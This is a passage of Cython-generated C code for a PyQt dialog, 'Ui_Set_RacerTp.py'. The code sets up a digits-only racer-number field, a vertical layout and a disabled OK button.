(unlikely(!__pyx_t_1)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_Qt); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_ImhDialableCharactersOnly); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Qt); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_ImhDigitsOnly); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = PyNumber_Or(__pyx_t_5, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_3) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_5, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":67 * self.R_number.setAccessibleDescription("") * self.R_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) * self.R_number.setText("") # <<<<<<<<<<<<<< * self.R_number.setMaxLength(5) * self.R_number.setObjectName("R_number") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_number); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setText); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__47, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 67, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":68 * self.R_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) * self.R_number.setText("") * self.R_number.setMaxLength(5) # <<<<<<<<<<<<<< * self.R_number.setObjectName("R_number") * self.verticalLayoutWidget = QtWidgets.QWidget(Set_RacerTp) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_number); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setMaxLength); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__48, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":69 * self.R_number.setText("") * self.R_number.setMaxLength(5) * self.R_number.setObjectName("R_number") # <<<<<<<<<<<<<< * self.verticalLayoutWidget = QtWidgets.QWidget(Set_RacerTp) * self.verticalLayoutWidget.setGeometry(QtCore.QRect(320, 10, 91, 80)) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_number); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__49, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":70 * self.R_number.setMaxLength(5) * self.R_number.setObjectName("R_number") * self.verticalLayoutWidget = QtWidgets.QWidget(Set_RacerTp) # <<<<<<<<<<<<<< * self.verticalLayoutWidget.setGeometry(QtCore.QRect(320, 10, 91, 80)) * self.verticalLayoutWidget.setObjectName("verticalLayoutWidget") */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QWidget); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_5))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_1) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_v_Set_RacerTp); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_v_Set_RacerTp}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_v_Set_RacerTp}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_INCREF(__pyx_v_Set_RacerTp); __Pyx_GIVEREF(__pyx_v_Set_RacerTp); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_v_Set_RacerTp); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_4, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayoutWidget, __pyx_t_2) < 0) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":71 * self.R_number.setObjectName("R_number") * self.verticalLayoutWidget = QtWidgets.QWidget(Set_RacerTp) * self.verticalLayoutWidget.setGeometry(QtCore.QRect(320, 10, 91, 80)) # <<<<<<<<<<<<<< * self.verticalLayoutWidget.setObjectName("verticalLayoutWidget") * self.verticalLayout = QtWidgets.QVBoxLayout(self.verticalLayoutWidget) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayoutWidget); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_setGeometry); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_QRect); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__50, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_1) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_5}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_5}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":72 * self.verticalLayoutWidget = QtWidgets.QWidget(Set_RacerTp) * self.verticalLayoutWidget.setGeometry(QtCore.QRect(320, 10, 91, 80)) * self.verticalLayoutWidget.setObjectName("verticalLayoutWidget") # <<<<<<<<<<<<<< * self.verticalLayout = QtWidgets.QVBoxLayout(self.verticalLayoutWidget) * self.verticalLayout.setContentsMargins(0, 0, 0, 0) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayoutWidget); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__51, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":73 * self.verticalLayoutWidget.setGeometry(QtCore.QRect(320, 10, 91, 80)) * self.verticalLayoutWidget.setObjectName("verticalLayoutWidget") * self.verticalLayout = QtWidgets.QVBoxLayout(self.verticalLayoutWidget) # <<<<<<<<<<<<<< * self.verticalLayout.setContentsMargins(0, 0, 0, 0) * self.verticalLayout.setObjectName("verticalLayout") */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QVBoxLayout); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayoutWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_5) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_4}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_1, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayout, __pyx_t_2) < 0) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":74 * self.verticalLayoutWidget.setObjectName("verticalLayoutWidget") * self.verticalLayout = QtWidgets.QVBoxLayout(self.verticalLayoutWidget) * self.verticalLayout.setContentsMargins(0, 0, 0, 0) # <<<<<<<<<<<<<< * self.verticalLayout.setObjectName("verticalLayout") * self.OkBtn = QtWidgets.QPushButton(self.verticalLayoutWidget) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayout); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setContentsMargins); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__52, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":75 * self.verticalLayout = QtWidgets.QVBoxLayout(self.verticalLayoutWidget) * self.verticalLayout.setContentsMargins(0, 0, 0, 0) * self.verticalLayout.setObjectName("verticalLayout") # <<<<<<<<<<<<<< * self.OkBtn = QtWidgets.QPushButton(self.verticalLayoutWidget) * self.OkBtn.setEnabled(False) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayout); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__53, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":76 * self.verticalLayout.setContentsMargins(0, 0, 0, 0) * self.verticalLayout.setObjectName("verticalLayout") * self.OkBtn = QtWidgets.QPushButton(self.verticalLayoutWidget) # <<<<<<<<<<<<<< * self.OkBtn.setEnabled(False) * self.OkBtn.setFocusPolicy(QtCore.Qt.NoFocus) */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QPushButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayoutWidget); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_4) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_5, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_OkBtn, __pyx_t_2) < 0) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":77 * self.verticalLayout.setObjectName("verticalLayout") * self.OkBtn = QtWidgets.QPushButton(self.verticalLayoutWidget) * self.OkBtn.setEnabled(False) # <<<<<<<<<<<<<< * self.OkBtn.setFocusPolicy(QtCore.Qt.NoFocus) * self.OkBtn.setContextMenuPolicy(QtCore.Qt.NoContextMenu) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_OkBtn); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setEnabled); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__54, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":78 * self.OkBtn = QtWidgets.QPushButton(self.verticalLayoutWidget) * self.OkBtn.setEnabled(False) * self.OkBtn.setFocusPolicy(QtCore.Qt.NoFocus) # <<<<<<<<<<<<<< * self.OkBtn.setContextMenuPolicy(QtCore.Qt.NoContextMenu) * self.OkBtn.setToolTip("") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_OkBtn); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 78, __pyx_L1_error) 